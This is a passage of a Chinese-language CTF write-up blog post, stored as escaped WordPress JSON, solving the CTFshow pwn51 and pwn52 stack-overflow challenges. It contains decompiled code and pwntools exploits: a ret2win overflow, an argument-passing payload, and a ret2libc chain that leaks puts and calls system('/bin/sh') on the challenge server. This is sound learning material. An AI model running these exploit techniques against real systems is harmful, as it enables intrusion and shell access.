32\u4f4d<\/p>\n\n\n\n
\u53cd\u7f16\u8bd1\u540e\u50bb\u773c\u4e86<\/p>\n\n\n\n
\u662fC++<\/p>\n\n\n\n
\u770b\u4e0d\u592a\u61c2\uff0c\u9760\u7740string\u754c\u9762\u627e\u5230\u4e86\u4e3b\u8981\u51fd\u6570sub_8049059<\/p>\n\n\n\n
int sub_8049059()
{
int v0; \/\/ eax
int v1; \/\/ eax
unsigned int v2; \/\/ eax
int v3; \/\/ eax
const char *v4; \/\/ eax
int v6; \/\/ [esp-Ch] [ebp-84h]
int v7; \/\/ [esp-8h] [ebp-80h]
_BYTE v8[12]; \/\/ [esp+0h] [ebp-78h] BYREF
char s[32]; \/\/ [esp+Ch] [ebp-6Ch] BYREF
_BYTE v10[24]; \/\/ [esp+2Ch] [ebp-4Ch] BYREF
_BYTE v11[24]; \/\/ [esp+44h] [ebp-34h] BYREF
unsigned int i; \/\/ [esp+5Ch] [ebp-1Ch]
\u200b
memset(s, 0, sizeof(s));
puts(\"Who are you?\");
read(0, s, 0x20u);
std::string::operator=(&unk_804D0A0, &unk_804A350);
std::string::operator+=(&unk_804D0A0, s);
std::string::basic_string(v10, &unk_804D0B8);
std::string::basic_string(v11, &unk_804D0A0);
sub_8048F06(v8);
std::string::~string(v11, v11, v10);
std::string::~string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::string::operator=(&unk_804D0A0, &unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::string::operator+=(&unk_804D0A0, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i )
break;
std::string::operator+=(&unk_804D0A0, \"IronMan\");
v3 = sub_8049700(v8, i);
std::string::operator+=(&unk_804D0A0, v3);
}
}
v4 = (const char *)std::string::c_str(&unk_804D0A0);
strcpy(s, v4);
printf(\"Wow!you are:%s\", s);
return sub_8049616(v8);
}<\/code><\/pre>\n\n\n\n\u521d\u7565\u7406\u89e3\u4e4b\u4e0b\uff0c\u77e5\u9053s\u5c31\u662f\u8981\u6ea2\u51fa\u7684\u5bf9\u8c61\uff0c\u8ba4\u4e3a\u504f\u79fb\u503c\u5c31\u662fchar s[32]; \/\/ [esp+Ch] [ebp-6Ch] BYREF\uff0c\u4e5f\u5c31\u662f0x6C+4<\/p>\n\n\n\n
string\u754c\u9762\u8fd8\u80fd\u627e\u5230\u4e00\u6761system\u6307\u4ee4<\/p>\n\n\n\n
int sub_804902E()
{
return system(\"cat \/ctfshow_flag\");
}<\/code><\/pre>\n\n\n\n\u521d\u6b65\u5c1d\u8bd5\u5931\u8d25\uff0c\u867d\u7136\u770b\u7740\u5e94\u8be5\u6ca1\u4ec0\u4e48\u95ee\u9898<\/p>\n\n\n\n
\u4f46\u662f\u8c8c\u4f3c\u6709\u9650\u5236\u8f93\u5165<\/p>\n\n\n\n
\u6240\u4ee5\u5c1d\u8bd5\u8f93\u51650x6C+4\u7684\u2018a\u2019\u5c31\u6ca1\u529e\u6cd5\u8f93\u51fa\u591f<\/p>\n\n\n\n
\u770bWP\u624d\u77e5\u9053\u4e3b\u51fd\u6570\u91cc\u9762\u4f1a\u628aI\u6362\u6210IronMan<\/p>\n\n\n\n
16\u4e2aI\u7684\u8f93\u5165\u5c31\u80fd\u521a\u521a\u597d\u53d8\u6210112\u5b57\u8282IronMan\uff0c\u5b8c\u6210\u6ea2\u51fa\u6548\u679c<\/p>\n\n\n\n
\u7136\u540e\u540e\u7eed\u8ddf\u4e00\u4e2asystem\u51fd\u6570\u4f4d\u7f6e\u5c31\u597d\u4e86<\/p>\n\n\n\n
exp\uff1a<\/p>\n\n\n\n
from pwn import *
u=remote(\"pwn.challenge.ctf.show\",28223)
payload=b'I'*16+p32(0x0804902E)
#payload=b'I'*16+p32(0x08049042)
u.sendline(payload)
u.interactive()<\/code><\/pre>\n\n\n\n\u6b64\u4e8b\u5728\u76f4\u63a5\u672c\u5730\u8fd0\u884c\u4ea6\u6709\u8bb0\u8f7d\uff08<\/p>\n\n\n\n
ctfshow@ubuntu:~\/Desktop\/xd\/LibcSearcher$ .\/pwn51
\u2584\u2584\u2584\u2584 \u2584\u2584\u2584\u2584\u2584\u2584\u2584\u2584 \u2584\u2584\u2584\u2584\u2584\u2584\u2584\u2584 \u2584\u2584
\u2588\u2588\u2580\u2580\u2580\u2580\u2588 \u2580\u2580\u2580\u2588\u2588\u2580\u2580\u2580 \u2588\u2588\u2580\u2580\u2580\u2580\u2580\u2580 \u2588\u2588
\u2588\u2588\u2580 \u2588\u2588 \u2588\u2588 \u2584\u2584\u2588\u2588\u2588\u2588\u2588\u2584 \u2588\u2588\u2584\u2588\u2588\u2588\u2588\u2584 \u2584\u2588\u2588\u2588\u2588\u2584 \u2588\u2588 \u2588\u2588
\u2588\u2588 \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2584\u2584\u2584\u2584 \u2580 \u2588\u2588\u2580 \u2588\u2588 \u2588\u2588\u2580 \u2580\u2588\u2588 \u2580\u2588 \u2588\u2588 \u2588\u2580
\u2588\u2588\u2584 \u2588\u2588 \u2588\u2588 \u2580\u2580\u2580\u2580\u2588\u2588\u2584 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\u2584\u2588\u2588\u2584\u2588\u2588
\u2588\u2588\u2584\u2584\u2584\u2584\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2584\u2584\u2584\u2584\u2584\u2588\u2588 \u2588\u2588 \u2588\u2588 \u2580\u2588\u2588\u2584\u2584\u2588\u2588\u2580 \u2580\u2588\u2588 \u2588\u2588\u2580
\u2580\u2580\u2580\u2580 \u2580\u2580 \u2580\u2580 \u2580\u2580\u2580\u2580\u2580\u2580 \u2580\u2580 \u2580\u2580 \u2580\u2580\u2580\u2580 \u2580\u2580 \u2580\u2580
* *************************************
* Classify: CTFshow --- PWN --- \u5165\u95e8
* Type : Stack_Overflow
* Site : https:\/\/ctf.show\/
* Hint : Who are you?
* *************************************
Who are you?
I
Wow!you are:IronMan<\/code><\/pre>\n\n\n\npwn52<\/h2>\n\n\n\n
flag\u51fd\u6570<\/p>\n\n\n\n
char *__cdecl flag(int a1, int a2)
{
char *result; \/\/ eax
char s[64]; \/\/ [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; \/\/ [esp+4Ch] [ebp-Ch]
\u200b
stream = fopen(\"\/ctfshow_flag\", \"r\");
if ( !stream )
{
puts(\"\/ctfshow_flag: No such file or directory.\");
exit(0);
}
result = fgets(s, 64, stream);
if ( a1 == 876 && a2 == 877 )
return (char *)printf(s);
return result;
}<\/code><\/pre>\n\n\n\n\u521d\u7565\u7406\u89e3\u540e\uff0c\u5927\u610f\u4e3a\u4f20\u5165\u53c2\u6570a1,a2\u4e3a\u5bf9\u5e94\u503c<\/p>\n\n\n\n
\u5c31\u53ef\u4ee5\u8f93\u51fa\u6570\u7ec4s\u7684\u5185\u5bb9<\/p>\n\n\n\n
\u800c\u6570\u7ec4s\u8bfb\u53d6\u4e86stream\u7684\u524d64\u5b57\u8282\u7684\u5185\u5bb9<\/p>\n\n\n\n
stream\u53c8\u662f\u4f9d\u9760\u53ea\u8bfb\u6253\u5f00\u7684ctfshow_flag\u7684\u5185\u5bb9<\/p>\n\n\n\n
\u6240\u4ee5\u62ff\u5230\u6570\u7ec4S\u5c31\u662f\u62ff\u5230\u76ee\u6807flag<\/p>\n\n\n\n
\u627eflag\u51fd\u6570\u5730\u5740<\/p>\n\n\n\n
\u518d\u627e\u5230\u504f\u79fb\u91cf<\/p>\n\n\n\n
exp\uff1a<\/p>\n\n\n\n
from pwn import *
u=remote(\"pwn.challenge.ctf.show\",28231)
offset = 0x6C
flag = 0x08048586
payload=b'a'*(offset+4)+p32(flag)+p32(0)+p32(876)+p32(877)
u.sendline(payload)
u.interactive()<\/code><\/pre>\n\n\n\n\u8fd8\u53ef\u4ee5\u7528ret2libc\u505a\uff0c\u5b58\u5728puts\u51fd\u6570\uff0c\u5957\u677f\u5b50\u5c31\u80fd\u51fa<\/p>\n\n\n\n
exp:<\/p>\n\n\n\n
from pwn import *
from LibcSearcher import *
\u200b
io = remote('pwn.challenge.ctf.show', 28188)
# io = process(\"\")
elf = ELF('.\/pwn52')
# libc= ELF('libc.so.6')
\u200b
main_add =0x0804874E
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
\u200b
print(\"Puts_got: \", hex(puts_got))
print(\"Puts_plt: \", hex(puts_plt))
\u200b
offset =0x6C
\u200b
payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'What do you want?', payload1)
puts_addr = u32(io.recvuntil(b'\\xf7')[-4:])
print(\"Puts_addr: \", hex(puts_addr))
\u200b
libc = LibcSearcher('puts', puts_addr)
\u200b
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
\u200b
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))
\u200b
payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'What do you want?', payload2)
\u200b
io.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"pwn51 32\u4f4d \u53cd\u7f16\u8bd1\u540e\u50bb\u773c\u4e86 \u662fC++ \u770b\u4e0d\u592a\u61c2\uff0c\u9760\u7740string\u754c\u9762\u627e\u5230\u4e86\u4e3b\u8981\u51fd\u6570sub_804905 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-281","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/281","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=281"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/281\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=281"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=281"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=281"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}